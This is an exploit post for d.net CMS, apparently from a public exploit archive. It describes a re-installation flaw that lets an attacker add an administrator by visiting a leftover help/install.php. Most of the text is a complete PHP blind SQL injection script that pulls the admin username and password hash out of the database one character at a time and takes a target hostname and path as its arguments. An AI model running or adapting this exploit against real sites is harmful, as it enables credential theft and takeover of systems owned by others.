+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

[+] Arbitrary Re-Installation Vulnerability

There's no check about the elimination of 'help' directory,
then whenever an administrator forget to delete it, we can
re-install the CMS, it means we can add a new administrator
account, without specify database's informations.

http://hostname/dnetCMS/help/install.php

[+] Blind SQL Injection Exploit

<?php

function usage () {
 exit ( "\n".
  "[+] d.net CMS Blind SQL Injection Exploit\n".
  "[+] Author  : darkjoker\n".
  "[+] Site    : http://darkjoker.net23.net\n".
  "[+] Download: https://sourceforge.net/projects/dnet/\n".
  "[+] Usage   : php xpl.php <hostname> <path>\n".
  "[+] Ex.     : php xpl.php localhost /dnetCMS/\n".
  "[+] Greetz  : cristina, puccio (they kept me company when I coded this stuff :D)\n".
  "\n");
}

function hex ($string) {
 $i=0;
 while ($i<strlen($string))
  $hex .= "%".dechex(ord($string[$i++]));
 return $hex;
}

function check ($hostname, $path, $character, $position, $field) {
 $character = ord($character);
 $sp = fsockopen ($hostname, 80);
 $query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- ");
 $request = "GET {$path}index.php?page={$query} HTTP/1.1\r\n".
     "Host: {$hostname}\r\n".
     "Connection: Close\r\n\r\n";
 fputs ($sp, $request);
 while (!feof ($sp))
  $reply .= fgets ($sp,1024);
 fclose ($sp);
 if ((preg_match ("|Location: index\.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply)))
  return false;
 else
  return true;
}

function get_field ($hostname, $path, $field) {
 echo "[+] ".ucfirst($field)." (hash): ";
 $chars = "abcdef0123456789";
 for($i=0,$d=1;$d<=32;$i++) {
  if (check ($hostname, $path, $chars [$i], $d, $field)) {
   echo $chars [$i];
   $i = -1;
   $d++;
  }
 }
 echo "\n";
}

if ($argc != 3)
 usage ();
$hostname = $argv [1];
$path = $argv [2];
$fields = array ("username", "password");
foreach ($fields as $field)
 get_field ($hostname, $path, $field);